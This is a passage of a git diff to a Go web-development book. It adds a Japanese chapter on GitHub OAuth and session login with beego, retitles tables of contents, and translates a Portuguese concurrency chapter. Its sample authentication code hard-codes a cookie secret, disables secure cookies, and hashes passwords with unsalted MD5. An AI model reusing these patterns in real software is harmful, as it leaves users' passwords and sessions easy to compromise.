"a0ec09a647a688a64a28f6190b5a0d2705df56ca" + ) + + type GithubController struct { + beego.Controller + } + + func (this *GithubController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + githubHandler := auth.Github(githubClientKey, githubSecretKey) + + githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) + } + + +3. ログインに成功した後のページ画面を処理 + + package controllers + + import ( + "github.com/astaxie/beego" + "github.com/bradrydzewski/go.auth" + "net/http" + "net/url" + ) + + type PageController struct { + beego.Controller + } + + func (this *PageController) Get() { + // set the auth parameters + auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV") + auth.Config.LoginSuccessRedirect = "/mainpage" + auth.Config.CookieSecure = false + + user, err := auth.GetUserCookie(this.Ctx.Request) + + //if no active user session then authorize user + if err != nil || user.Id() == "" { + http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther) + return + } + + //else, add the user to the URL and continue + this.Ctx.Request.URL.User = url.User(user.Id()) + this.Data["pic"] = user.Picture() + this.Data["id"] = user.Id() + this.Data["name"] = user.Name() + this.TplNames = "home.tpl" + } + +全体の流れは以下のようになります。まずブラウザを開いてアドレスを入力します: + +![](images/14.4.github.png?raw=true) + +図14.4 ログインボタンを持つトップページの表示 + +次にリンクをクリックすると以下のようなインターフェースが現れます: + +![](images/14.4.github2.png?raw=true) + +図14.5 ログインボタンをクリックしてGitHubの権限取得ページを表示 + +Authorize appをクリックすると以下のようなインターフェースが現れます: + +![](images/14.4.github3.png?raw=true) + +図14.6 権限取得にログインした後表示される取得済みのGitHub情報のページ + +## カスタム定義認証 +カスタム定義の認証は一般的にはsessionと組み合わせて検証されます。以下のコードはあるbeegoのオープンソースブログに基づいています: + + + //ログイン処理 + func (this *LoginController) Post() { + this.TplNames = "login.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + if userInfo.Password == newPass { + var users models.User + users.Last_logintime = now + models.UpdateUserInfo(users) + + //ログイン成功でsessionを設定 + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + + this.Ctx.Redirect(302, "/") + } + } + + //サインアップ処理 + func (this *RegController) Post() { + this.TplNames = "reg.tpl" + this.Ctx.Request.ParseForm() + username := this.Ctx.Request.Form.Get("username") + password := this.Ctx.Request.Form.Get("password") + usererr := checkUsername(username) + fmt.Println(usererr) + if usererr == false { + this.Data["UsernameErr"] = "Username error, Please to again" + return + } + + passerr := checkPassword(password) + if passerr == false { + this.Data["PasswordErr"] = "Password error, Please to again" + return + } + + md5Password := md5.New() + io.WriteString(md5Password, password) + buffer := bytes.NewBuffer(nil) + fmt.Fprintf(buffer, "%x", md5Password.Sum(nil)) + newPass := buffer.String() + + now := time.Now().Format("2006-01-02 15:04:05") + + userInfo := models.GetUserInfo(username) + + if userInfo.Username == "" { + var users models.User + users.Username = username + users.Password = newPass + users.Created = now + users.Last_logintime = now + models.AddUser(users) + + //ログイン成功でsessionを設定 + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess.Set("uid", userInfo.Id) + sess.Set("uname", userInfo.Username) + this.Ctx.Redirect(302, "/") + } else { + this.Data["UsernameErr"] = "User already exists" + } + + } + + func checkPassword(password string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok { + return false + } + return true + } + + func checkUsername(username string) (b bool) { + if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok { + return false + } + return true + } + +ユーザのログインとサインアップがあって、その他のモジュールでも以下のようにユーザがログインしているかどうかの判断を追加することができます: + + func (this *AddBlogController) Prepare() { + sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request) + sess_uid := sess.Get("userid") + sess_username := sess.Get("username") + if sess_uid == nil { + this.Ctx.Redirect(302, "/admin/login") + return + } + this.Data["Username"] = sess_username + } + +## links + * [目次]() + * 前へ: [フォームおよび検証のサポート](<14.3.md>) + * 次へ: [多言語サポート](<14.5.md>) diff --git a/ja/14.5.md b/ja/14.5.md index a2ee37f43..66af434ed 100644 --- a/ja/14.5.md +++ b/ja/14.5.md @@ -79,7 +79,7 @@ beegoにおいて以下のようにグローバル変数を設定します: } } - #en.json + # en.json { "en": { diff --git a/ja/SUMMARY.md b/ja/SUMMARY.md index bd7e67982..9f6f02b8a 100644 --- a/ja/SUMMARY.md +++ b/ja/SUMMARY.md @@ -14,74 +14,74 @@ * [マルチスレッド](02.7.md) * [まとめ](02.8.md) * [Webの基礎](03.0.md) - * [webでの作業方法](03.1.md) - * [Goで簡単なwebサーバを立てる](03.2.md) - * [Goはどのようにしてweb作業を行うか](03.3.md) - * [Goのhttpパッケージ詳細](03.4.md) + * [Webの動作原理](03.1.md) + * [簡単なWebサーバを立てる](03.2.md) + * [Webと連動したGoの動作方法](03.3.md) + * [httpパッケージの詳細](03.4.md) * [まとめ](03.5.md) * [フォーム](04.0.md) - * [フォームの入力を処理する](04.1.md) + * [フォームの入力処理](04.1.md) * [フォームに入力された内容の検証](04.2.md) * [クロスサイトスクリプティングの予防](04.3.md) - * [フォームの複数回送信の防止](04.4.md) + * [フォームの複数回送信の予防](04.4.md) * [ファイルのアップロード処理](04.5.md) * [まとめ](04.6.md) -* [データベースへのアクセス](05.0.md) +* [データベース](05.0.md) * [database/sqlインターフェース](05.1.md) - * [MySQL データベースの使用](05.2.md) - * [SQLiteデータベースの使用](05.3.md) - * [PostgreSQLデータベースの使用](05.4.md) - * [beedbライブラリを使用してORM開発を行う](05.5.md) - * [NOSQLデータベースの操作](05.6.md) + * [MySQL](05.2.md) + * [SQLite](05.3.md) + * [PostgreSQL](05.4.md) + * [ORMライブラリ beedb](05.5.md) + * [NoSQLデータベースの操作](05.6.md) * [まとめ](05.7.md) -* [sessionとデータの保存](06.0.md) +* [データストレージとsession](06.0.md) * [sessionとcookie](06.1.md) - * [Goはどのようにしてsessionを使用するか](06.2.md) + * [Goでのsessionの扱い](06.2.md) * [sessionストレージ](06.3.md) * [sessionハイジャックの予防](06.4.md) * [まとめ](06.5.md) -* [テキスト処理](07.0.md) - * [XMLの処理](07.1.md) - * [JSONの処理](07.2.md) - * [正規表現の処理](07.3.md) - * [テンプレートの処理](07.4.md) +* [テキストファイル](07.0.md) + * [XML](07.1.md) + * [JSON](07.2.md) + * [正規表現](07.3.md) + * [テンプレート](07.4.md) * [ファイルの操作](07.5.md) * [文字列の処理](07.6.md) * [まとめ](07.7.md) * [Webサービス](08.0.md) - * [Socketプログラミング](08.1.md) + * [Socket](08.1.md) * [WebSocket](08.2.md) * [REST](08.3.md) * [RPC](08.4.md) * [まとめ](08.5.md) * [セキュリティと暗号化](09.0.md) * [CSRF攻撃の予防](09.1.md) - * [入力フィルタリングの確保](09.2.md) - * [XSS攻撃の回避](09.3.md) - * [SQLインジェクションの回避](09.4.md) - * [パスワードの保存](09.5.md) - * [データを暗号化/復元する](09.6.md) + * [入力フィルタリング](09.2.md) + * [XSS攻撃の予防](09.3.md) + * [SQLインジェクションの予防](09.4.md) + * [パスワードの保存方法](09.5.md) + * [データを暗号化/復号化](09.6.md) * [まとめ](09.7.md) * [国際化とローカライズ](10.0.md) * [デフォルトロケールの設定](10.1.md) * [ローカライズリソース](10.2.md) * [国際化サイト](10.3.md) * [まとめ](10.4.md) -* [エラー処理、デバッグとテスト](11.0.md) - * [エラー処理](11.1.md) +* [エラーハンドリング、デバッグ、テスト](11.0.md) + * [エラーハンドリング](11.1.md) * [GDBを使用したデバッグ](11.2.md) - * [Goによるテスト例](11.3.md) + * [テストケースの書き方](11.3.md) * [まとめ](11.4.md) * [デプロイとメンテナンス](12.0.md) - * [アプリケーションログ](12.1.md) - * [サイトのエラー処理](12.2.md) - * [アプリケーションのデプロイ](12.3.md) - * [バックアップとリストア](12.4.md) + * [ログ](12.1.md) + * [エラーやクラッシュの予防](12.2.md) + * [デプロイ](12.3.md) + * [バックアップとリカバリ](12.4.md) * [まとめ](12.5.md) -* [どのようにしてWebフレームワークを設計するか](13.0.md)  +* [Webフレームワークの開発](13.0.md)  * [プロジェクトプラン](13.1.md)  - * [カスタムルータの設計](13.2.md) - * [controllerの設計](13.3.md) + * [カスタムルータ](13.2.md) + * [コントローラの設計](13.3.md) * [ログとデプロイ設計](13.4.md) * [ブログの追加/削除/修正の実装](13.5.md) * [まとめ](13.6.md)  @@ -89,8 +89,8 @@ * [静的ファイルのサポート](14.1.md) * [Sessionのサポート](14.2.md) * [フォームのサポート](14.3.md) - * [ユーザ認証](14.4.md) - * [多言語サポート](14.5.md) + * [ユーザ認証のサポート](14.4.md) + * [多言語対応](14.5.md) * [pprofのサポート](14.6.md) * [まとめ](14.7.md) * 付録A [参考資料](ref.md) diff --git a/ja/preface.md b/ja/preface.md index 6a7fad6c7..df28db2a8 100644 --- a/ja/preface.md +++ b/ja/preface.md @@ -1,96 +1,96 @@ * 1.[Goの環境設定](01.0.md) - - 1.1. [Goのインストール](01.1.md) - - 1.2. [GOPATHとワーキングディレクトリ](01.2.md) - - 1.3. [Goのコマンド](01.3.md) - - 1.4. [Goの開発ツール](01.4.md) - - 1.5. [まとめ](01.5.md) + * 1.1. [Goのインストール](01.1.md) + * 1.2. [GOPATHとワーキングディレクトリ](01.2.md) + * 1.3. [Goのコマンド](01.3.md) + * 1.4. [Goの開発ツール](01.4.md) + * 1.5. [まとめ](01.5.md) * 2.[Go言語の基礎](02.0.md) - - 2.1. [こんにちは、Go](02.1.md) - - 2.2. [Goの基礎](02.2.md) - - 2.3. [フローと関数](02.3.md) - - 2.4. [struct型](02.4.md) - - 2.5. [オブジェクト指向](02.5.md) - - 2.6. [interface](02.6.md) - - 2.7. [マルチスレッド](02.7.md) - - 2.8. [まとめ](02.8.md) + * 2.1. [こんにちは、Go](02.1.md) + * 2.2. [Goの基礎](02.2.md) + * 2.3. [フローと関数](02.3.md) + * 2.4. [struct型](02.4.md) + * 2.5. [オブジェクト指向](02.5.md) + * 2.6. [interface](02.6.md) + * 2.7. [並行処理](02.7.md) + * 2.8. [まとめ](02.8.md) * 3.[Webの基礎](03.0.md) - - 3.1 [webでの作業方法](03.1.md) - - 3.2 [Goで簡単なwebサーバを立てる](03.2.md) - - 3.3 [Goはどのようにしてweb作業を行うか](03.3.md) - - 3.4 [Goのhttpパッケージ詳細](03.4.md) - - 3.5 [まとめ](03.5.md) + * 3.1 [Webの動作原理](03.1.md) + * 3.2 [簡単なWebサーバを立てる](03.2.md) + * 3.3 [Webと連動したGoの動作方法](03.3.md) + * 3.4 [httpパッケージ詳細](03.4.md) + * 3.5 [まとめ](03.5.md) * 4.[フォーム](04.0.md) - - 4.1 [フォームの入力を処理する](04.1.md) - - 4.2 [フォームに入力された内容の検証](04.2.md) - - 4.3 [クロスサイトスクリプティングの予防](04.3.md) - - 4.4 [フォームの複数回送信の防止](04.4.md) - - 4.5 [ファイルのアップロード処理](04.5.md) - - 4.6 [まとめ](04.6.md) -* 5.[データベースへのアクセス](05.0.md) - - 5.1 [database/sqlインターフェース](05.1.md) - - 5.2 [MySQL データベースの使用](05.2.md) - - 5.3 [SQLiteデータベースの使用](05.3.md) - - 5.4 [PostgreSQLデータベースの使用](05.4.md) - - 5.5 [beedbライブラリを使用してORM開発を行う](05.5.md) - - 5.6 [NOSQLデータベースの操作](05.6.md) - - 5.7 [まとめ](05.7.md) -* 6.[sessionとデータの保存](06.0.md) - - 6.1 [sessionとcookie](06.1.md) - - 6.2 [Goはどのようにしてsessionを使用するか](06.2.md) - - 6.3 [sessionストレージ](06.3.md) - - 6.4 [sessionハイジャックの予防](06.4.md) - - 6.5 [まとめ](06.5.md) -* 7.[テキスト処理](07.0.md) - - 7.1 [XMLの処理](07.1.md) - - 7.2 [JSONの処理](07.2.md) - - 7.3 [正規表現の処理](07.3.md) - - 7.4 [テンプレートの処理](07.4.md) - - 7.5 [ファイルの操作](07.5.md) - - 7.6 [文字列の処理](07.6.md) - - 7.7 [まとめ](07.7.md) + * 4.1 [フォームの入力処理](04.1.md) + * 4.2 [フォームに入力された内容の検証](04.2.md) + * 4.3 [クロスサイトスクリプティングの予防](04.3.md) + * 4.4 [フォームの複数回送信の予防](04.4.md) + * 4.5 [ファイルのアップロード処理](04.5.md) + * 4.6 [まとめ](04.6.md) +* 5.[データベース](05.0.md) + * 5.1 [database/sqlインターフェース](05.1.md) + * 5.2 [MySQL](05.2.md) + * 5.3 [SQLite](05.3.md) + * 5.4 [PostgreSQL](05.4.md) + * 5.5 [ORMライブラリ beedb](05.5.md) + * 5.6 [NoSQLデータベース](05.6.md) + * 5.7 [まとめ](05.7.md) +* 6.[データストレージとsession](06.0.md) + * 6.1 [sessionとcookie](06.1.md) + * 6.2 [Goでのsessionの扱い](06.2.md) + * 6.3 [sessionストレージ](06.3.md) + * 6.4 [sessionハイジャックの予防](06.4.md) + * 6.5 [まとめ](06.5.md) +* 7.[テキストファイル](07.0.md) + * 7.1 [XML](07.1.md) + * 7.2 [JSON](07.2.md) + * 7.3 [正規表現](07.3.md) + * 7.4 [テンプレート](07.4.md) + * 7.5 [ファイルの操作](07.5.md) + * 7.6 [文字列の処理](07.6.md) + * 7.7 [まとめ](07.7.md) * 8.[Webサービス](08.0.md) - - 8.1 [Socketプログラミング](08.1.md) - - 8.2 [WebSocket](08.2.md) - - 8.3 [REST](08.3.md) - - 8.4 [RPC](08.4.md) - - 8.5 [まとめ](08.5.md) + * 8.1 [Socket](08.1.md) + * 8.2 [WebSocket](08.2.md) + * 8.3 [REST](08.3.md) + * 8.4 [RPC](08.4.md) + * 8.5 [まとめ](08.5.md) * 9.[セキュリティと暗号化](09.0.md) - - 9.1 [CSRF攻撃の予防](09.1.md) - - 9.2 [入力フィルタリングの確保](09.2.md) - - 9.3 [XSS攻撃の回避](09.3.md) - - 9.4 [SQLインジェクションの回避](09.4.md) - - 9.5 [パスワードの保存](09.5.md) - - 9.6 [データを暗号化/復号する](09.6.md) - - 9.7 [まとめ](09.7.md) + * 9.1 [CSRF攻撃の予防](09.1.md) + * 9.2 [入力フィルタリング](09.2.md) + * 9.3 [XSS攻撃の予防](09.3.md) + * 9.4 [SQLインジェクションの予防](09.4.md) + * 9.5 [パスワードの保存方法](09.5.md) + * 9.6 [データを暗号化/復号化](09.6.md) + * 9.7 [まとめ](09.7.md) * 10.[国際化とローカライズ](10.0.md) - - 10.1 [デフォルトロケールの設定](10.1.md) - - 10.2 [ローカライズリソース](10.2.md) - - 10.3 [国際化サイト](10.3.md) - - 10.4 [まとめ](10.4.md) -* 11.[エラー処理、デバッグとテスト](11.0.md) - - 11.1 [エラー処理](11.1.md) - - 11.2 [GDBを使用したデバッグ](11.2.md) - - 11.3 [Goによるテスト例](11.3.md) - - 11.4 [まとめ](11.4.md) + * 10.1 [デフォルトロケールの設定](10.1.md) + * 10.2 [ローカライズリソース](10.2.md) + * 10.3 [国際化サイト](10.3.md) + * 10.4 [まとめ](10.4.md) +* 11.[エラーハンドリング、デバッグ、テスト](11.0.md) + * 11.1 [エラーハンドリング](11.1.md) + * 11.2 [GDBを使用したデバッグ](11.2.md) + * 11.3 [テストケースの書き方](11.3.md) + * 11.4 [まとめ](11.4.md) * 12.[デプロイとメンテナンス](12.0.md) - - 12.1 [アプリケーションログ](12.1.md) - - 12.2 [サイトのエラー処理](12.2.md) - - 12.3 [アプリケーションのデプロイ](12.3.md) - - 12.4 [バックアップとリストア](12.4.md) - - 12.5 [まとめ](12.5.md) -* 13.[どのようにしてWebフレームワークを設計するか](13.0.md)  - - 13.1 [プロジェクトプラン](13.1.md)  - - 13.2 [カスタムルータの設計](13.2.md) - - 13.3 [controllerの設計](13.3.md) - - 13.4 [ログとデプロイ設計](13.4.md) - - 13.5 [ブログの追加/削除/修正の実装](13.5.md) - - 13.6 [まとめ](13.6.md)  + * 12.1 [ログ](12.1.md) + * 12.2 [エラーやクラッシュの予防](12.2.md) + * 12.3 [デプロイ](12.3.md) + * 12.4 [バックアップとリカバリ](12.4.md) + * 12.5 [まとめ](12.5.md) +* 13.[Webフレームワークの開発](13.0.md)  + * 13.1 [プロジェクトプラン](13.1.md)  + * 13.2 [カスタムルータ](13.2.md) + * 13.3 [コントローラの設計](13.3.md) + * 13.4 [ログとデプロイ設計](13.4.md) + * 13.5 [ブログの追加/削除/修正の実装](13.5.md) + * 13.6 [まとめ](13.6.md)  * 14.[Webフレームワークの拡張](14.0.md) - - 14.1 [静的ファイルのサポート](14.1.md) - - 14.2 [Sessionのサポート](14.2.md) - - 14.3 [フォームのサポート](14.3.md) - - 14.4 [ユーザ認証](14.4.md) - - 14.5 [多言語サポート](14.5.md) - - 14.6 [pprofのサポート](14.6.md) - - 14.7 [まとめ](14.7.md) + * 14.1 [静的ファイルのサポート](14.1.md) + * 14.2 [Sessionのサポート](14.2.md) + * 14.3 [フォームのサポート](14.3.md) + * 14.4 [ユーザ認証のサポート](14.4.md) + * 14.5 [多言語対応](14.5.md) + * 14.6 [pprofのサポート](14.6.md) + * 14.7 [まとめ](14.7.md) * 付録A [参考資料](ref.md) diff --git a/ja/src/.DS_Store b/ja/src/.DS_Store deleted file mode 100644 index 4d63beace..000000000 Binary files a/ja/src/.DS_Store and /dev/null differ diff --git a/pt-br/01.2.md b/pt-br/01.2.md index 2cc0ce5b7..3cc1d96c4 100644 --- a/pt-br/01.2.md +++ b/pt-br/01.2.md @@ -1,4 +1,4 @@ -#1.2 $GOPATH e Workspace +# 1.2 $GOPATH e Workspace ## $GOPATH @@ -32,7 +32,7 @@ Execute os comandos abaixo: cd $GOPATH/src mkdir mymath -Crie um novo arquivo chamado `sqrt.go` e ponha o seguinte conteúdo: +Crie um novo arquivo chamado `sqrt.go` e adicione o seguinte conteúdo: // Código fonte de $GOPATH/src/mymath/sqrt.go package mymath @@ -52,14 +52,15 @@ Agora o diretório e código fonte do meu pacote foi criado. Conforme explicado, Agora que nós criamos nosso pacote, como vamos utilizá-lo de modo prático? Existem duas maneiras de fazer isso. 1. Mude para o diretório do seu pacote e execute o comando `go install`. -2. Execute o comando acima, utilizando o nome do arquivo sem extenção, exemplo: `go install mymath`. +2. Execute o comando acima, utilizando o nome do arquivo sem extensão, exemplo: `go install mymath`. Após compilado, podemos ver o arquivo executável do pacote na seguinte pasta: + cd $GOPATH/pkg/${GOOS}_${GOARCH} - // O arquivo do pacote gerado com a extenção .a + // O arquivo do pacote gerado com a extensão .a mymath.a -Nosso arquivo foi gerado com a extenção `.a` que é um arquivo binário, como vamos utilizá-lo? +Nosso arquivo foi gerado com a extensão `.a` que é um arquivo binário, como vamos utilizá-lo? Obviamente teremos que criar uma nova aplicação para utilizar. @@ -90,7 +91,7 @@ Para compilar nossa aplicação, deveremos alterar o código fonte de diretório ## Instalando pacotes remotamente -Go possui uma ferramenta para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: Github, Google Code, Bitbucket e Launchpad. +Go possui uma ferramenta para utilizar pacotes remotos, chamada `go get`. Ela é suportada por grandes comunidades de código aberto, incluindo: GitHub, Google Code, Bitbucket e Launchpad. go get github.com/astaxie/beedb diff --git a/pt-br/01.3.md b/pt-br/01.3.md index f19b4067d..5e1636287 100644 --- a/pt-br/01.3.md +++ b/pt-br/01.3.md @@ -1,4 +1,4 @@ -#1.3 Comandos GO +# 1.3 Comandos GO ## Comandos GO @@ -56,10 +56,10 @@ Normalmente, usamos o comando `gofmt -w` ao invés de simplesmente `go fmt`. A d ## go get -Esse comando serve para obtenção de pacotes remotamente. Até o momento, o comando suporta BitBucket, Github, Google Code e Launchpad. De fato, duas coisas ocorrem quando esse comando é executado. Primeiramente é feito o download do código fonte e então é executado o comando `go install`. Antes de utilizar esse comando, tenha certeza de possuir instalados as seguintes ferramentas. +Esse comando serve para obtenção de pacotes remotamente. Até o momento, o comando suporta BitBucket, GitHub, Google Code e Launchpad. De fato, duas coisas ocorrem quando esse comando é executado. Primeiramente é feito o download do código fonte e então é executado o comando `go install`. Antes de utilizar esse comando, tenha certeza de possuir instalados as seguintes ferramentas. BitBucket (Mercurial Git) - Github (git) + GitHub (git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) diff --git a/pt-br/01.4.md b/pt-br/01.4.md index 9e14904bf..79315a10b 100644 --- a/pt-br/01.4.md +++ b/pt-br/01.4.md @@ -315,7 +315,7 @@ Figure 1.10 Painel principal do Emacs para editor Go ## Eclipse -O Eclipse é outra excelente ferrramenta de desenvolvimento. Veja como usá-la para programar em Go. +O Eclipse é outra excelente ferramenta de desenvolvimento. Veja como usá-la para programar em Go. ![](images/1.4.eclipse1.png?raw=true) diff --git a/pt-br/01.5.md b/pt-br/01.5.md index 1c1277e0e..98824e675 100644 --- a/pt-br/01.5.md +++ b/pt-br/01.5.md @@ -2,7 +2,7 @@ Neste capítulo, nós falamos sobre a instalação da linguagem Go usando três métodos diferentes, incluindo diretamente do código-fonte, pelo pacote padrão e através de ferramentas de terceiros. Na sequência mostramos como configurar o ambiente de desenvolvimento para Go, cobrindo desde a configuração do `$GOPATH`. na sequência, foram introduzidos alguns passos para compilação e desenvolvimento de programas Go e cobrimos também os Comandos Go mais importantes, tais como os comandos compile, install, format e test. -Finalmente, foram apresentadas diversas ferramentas poderosas para o desenvolvimento de programas Go, tais como LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. Você pode escolher qualquer uma delas para explorar o mundo de Go. +Finalmente, foram apresentadas diversas ferramentas poderosas para o desenvolvimento de programas Go, tais como LiteIDE, Sublime Text, Vim, GoLand, Emacs, Eclipse, IntelliJ IDEA, etc. Você pode escolher qualquer uma delas para explorar o mundo de Go. ## Links diff --git a/pt-br/02.2.md b/pt-br/02.2.md index 5b4a9419b..a4a6194cc 100644 --- a/pt-br/02.2.md +++ b/pt-br/02.2.md @@ -319,7 +319,7 @@ Sua estrutura de dados subjacente. Figure 2.3 Relação enter slice e array -slice possui algumas operações convenientes. +`slice` possui algumas operações convenientes. - `slice` é baseado em 0, `ar[:n]` igual a `ar[0:n]` - Se omitido, o segundo índice será o comprimento do `slice`, `ar[n:]` igual a `ar[n:len(ar)]`. diff --git a/pt-br/02.7.md b/pt-br/02.7.md index dd6ecf52b..e97dabb5b 100644 --- a/pt-br/02.7.md +++ b/pt-br/02.7.md @@ -1,16 +1,16 @@ -# Concurrency +# Concorrência -It is said that Go is the C language of the 21st century. I think there are two reasons: first, Go is a simple language; second, concurrency is a hot topic in today's world, and Go supports this feature at the language level. +Diz-se que Go é a linguagem C do século XXI. Eu acho que existem duas razões: primeiro, o Go é uma linguagem simples; segundo, a simultaneidade é um tema importante no mundo atual, e o Go suporta esse recurso no nível da linguagem. ## goroutine -goroutines and concurrency are built into the core design of Go. They're similar to threads but work differently. More than a dozen goroutines maybe only have 5 or 6 underlying threads. Go also gives you full support to sharing memory in your goroutines. One goroutine usually uses 4~5 KB of stack memory. Therefore, it's not hard to run thousands of goroutines on a single computer. A goroutine is more lightweight, more efficient and more convenient than system threads. +goroutines e simultaneidade são incorporados ao design central do Go. Eles são semelhantes aos tópicos, mas funcionam de maneira diferente. Mais de uma dúzia de goroutines talvez tenham apenas 5 ou 6 threads subjacentes. Go também lhe dá suporte total para compartilhar memória em seus goroutines. Uma goroutine geralmente usa 4 ~ 5 KB de memória de pilha. Portanto, não é difícil executar milhares de goroutines em um único computador. Uma goroutine é mais leve, mais eficiente e mais conveniente que os threads do sistema. -goroutines run on the thread manager at runtime in Go. We use the `go` keyword to create a new goroutine, which is a function at the underlying level ( ***main() is a goroutine*** ). +Os goroutines são executados no gerenciador de encadeamentos em tempo de execução no Go. Usamos a palavra-chave `go` para criar uma nova goroutine, que é uma função no nível subjacente (*** main () é uma goroutine ***). go hello(a, b, c) -Let's see an example. +Vamos ao exemplo: package main @@ -31,7 +31,7 @@ Let's see an example. say("hello") // current goroutine } -Output: +Retorno hello world @@ -43,26 +43,26 @@ Output: world hello -We see that it's very easy to use concurrency in Go by using the keyword `go`. In the above example, these two goroutines share some memory, but we would better off following the design recipe: Don't use shared data to communicate, use communication to share data. +Vemos que é muito fácil usar a simultaneidade no Go usando a palavra-chave `go`. No exemplo acima, essas duas goroutines compartilham alguma memória, mas seria melhor seguir a receita de design: Não use dados compartilhados para se comunicar, use a comunicação para compartilhar dados. -runtime.Gosched() means let the CPU execute other goroutines, and come back at some point. +runtime.Gosched () significa deixar a CPU executar outras goroutines e voltar em algum momento. -The scheduler only uses one thread to run all goroutines, which means it only implements concurrency. If you want to use more CPU cores in order to take advantage of parallel processing, you have to call runtime.GOMAXPROCS(n) to set the number of cores you want to use. If `n<1`, it changes nothing. This function may be removed in the future, see more details about parallel processing and concurrency in this [article](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). +O agendador usa apenas um thread para executar todos os goroutines, o que significa que ele apenas implementa a simultaneidade. Se você deseja usar mais núcleos de CPU para aproveitar o processamento paralelo, é necessário chamar runtime.GOMAXPROCS (n) para definir o número de núcleos que deseja usar. Se `n <1`, nada muda. Esta função pode ser removida no futuro, veja mais detalhes sobre o processamento paralelo e simultaneidade neste [artigo(em inglês)](http://concur.rspace.googlecode.com/hg/talk/concur.html#landing-slide). -## channels +## Canais(Channels) -goroutines run in the same memory address space, so you have to maintain synchronization when you want to access shared memory. How do you communicate between different goroutines? Go uses a very good communication mechanism called `channel`. `channel` is like a two-way pipeline in Unix shells: use `channel` to send or receive data. The only data type that can be used in channels is the type `channel` and the keyword `chan`. Be aware that you have to use `make` to create a new `channel`. +Os goroutines são executados no mesmo espaço de endereço de memória, portanto, você precisa manter a sincronização quando quiser acessar a memória compartilhada. Como você se comunica entre diferentes goroutines? Go usa um mecanismo de comunicação muito bom chamado `channel`. `channel` é como um pipeline bidirecional em shells Unix: use` channel` para enviar ou receber dados. O único tipo de dado que pode ser usado em canais é o tipo `channel` e a palavra-chave` chan`. Esteja ciente de que você tem que usar `make` para criar um novo` channel`. ci := make(chan int) cs := make(chan string) cf := make(chan interface{}) -channel uses the operator `<-` to send or receive data. +canais usa, o operador `<-` para enviar ou receber dados. - ch <- v // send v to channel ch. - v := <-ch // receive data from ch, and assign to v + ch <- v // envia v para o canal ch. + v := <-ch // recebe dados de ch, e os assina em v -Let's see more examples. +Exemplos: package main @@ -73,7 +73,7 @@ Let's see more examples. for _, v := range a { total += v } - c <- total // send total to c + c <- total // envia o total para c } func main() { @@ -82,39 +82,39 @@ Let's see more examples. c := make(chan int) go sum(a[:len(a)/2], c) go sum(a[len(a)/2:], c) - x, y := <-c, <-c // receive from c + x, y := <-c, <-c // recebe de c fmt.Println(x, y, x + y) } -Sending and receiving data in channels blocks by default, so it's much easier to use synchronous goroutines. What I mean by block is that a goroutine will not continue when receiving data from an empty channel, i.e (`value := <-ch`), until other goroutines send data to this channel. On the other hand, the goroutine will not continue until the data it sends to a channel, i.e (`ch<-5`), is received. +Enviando e recebendo dados em blocos de canais por padrão, é muito mais fácil usar goroutines síncronas. O que quero dizer com block é que uma goroutine não continuará ao receber dados de um canal vazio, ou seja, (`value: = <-ch`), até que outras goroutines enviem dados para este canal. Por outro lado, a goroutine não continuará até que os dados enviados a um canal, ou seja (`ch <-5`), sejam recebidos. -## Buffered channels +## Canais em Buffer -I introduced non-buffered channels above. Go also has buffered channels that can store more than a single element. For example, `ch := make(chan bool, 4)`, here we create a channel that can store 4 boolean elements. So in this channel, we are able to send 4 elements into it without blocking, but the goroutine will be blocked when you try to send a fifth element and no goroutine receives it. +Eu introduzi canais não-bufferizados acima. Go também tem canais em buffer que podem armazenar mais de um único elemento. Por exemplo, `ch: = make (chan bool, 4)`, aqui criamos um canal que pode armazenar 4 elementos booleanos. Assim, neste canal, podemos enviar 4 elementos sem bloqueio, mas a goroutine será bloqueada quando você tentar enviar um quinto elemento e nenhuma goroutine o receber. ch := make(chan type, n) n == 0 ! non-buffer(block) n > 0 ! buffer(non-block until n elements in the channel) -You can try the following code on your computer and change some values. +Você pode tentar o seguinte código no seu computador e alterar alguns valores. package main import "fmt" func main() { - c := make(chan int, 2) // change 2 to 1 will have runtime error, but 3 is fine + c := make(chan int, 2) // altera de 2 para 1 e retornará um erro, mas 3 funciona c <- 1 c <- 2 fmt.Println(<-c) fmt.Println(<-c) } -## Range and Close +## Alcance e fechamento(Range and Close) -We can use range to operate on buffer channels as in slice and map. +Podemos usar o range para operar em canais buffer como em slice e map. package main @@ -139,17 +139,17 @@ We can use range to operate on buffer channels as in slice and map. } } -`for i := range c` will not stop reading data from channel until the channel is closed. We use the keyword `close` to close the channel in above example. It's impossible to send or receive data on a closed channel; you can use `v, ok := <-ch` to test if a channel is closed. If `ok` returns false, it means the there is no data in that channel and it was closed. +`for i := range c` não parará de ler dados do canal até que o canal seja fechado. Usamos a palavra-chave `close` para fechar o canal no exemplo acima. É impossível enviar ou receber dados em um canal fechado; você pode usar `v, ok: = <-ch` para testar se um canal está fechado. Se `ok` retornar falso, significa que não há dados nesse canal e foi fechado. -Remember to always close channels in producers and not in consumers, or it's very easy to get into panic status. +Lembre-se sempre de fechar os canais nos produtores e não nos consumidores, ou é muito fácil entrar em status de pânico. -Another thing you need to remember is that channels are not like files. You don't have to close them frequently unless you are 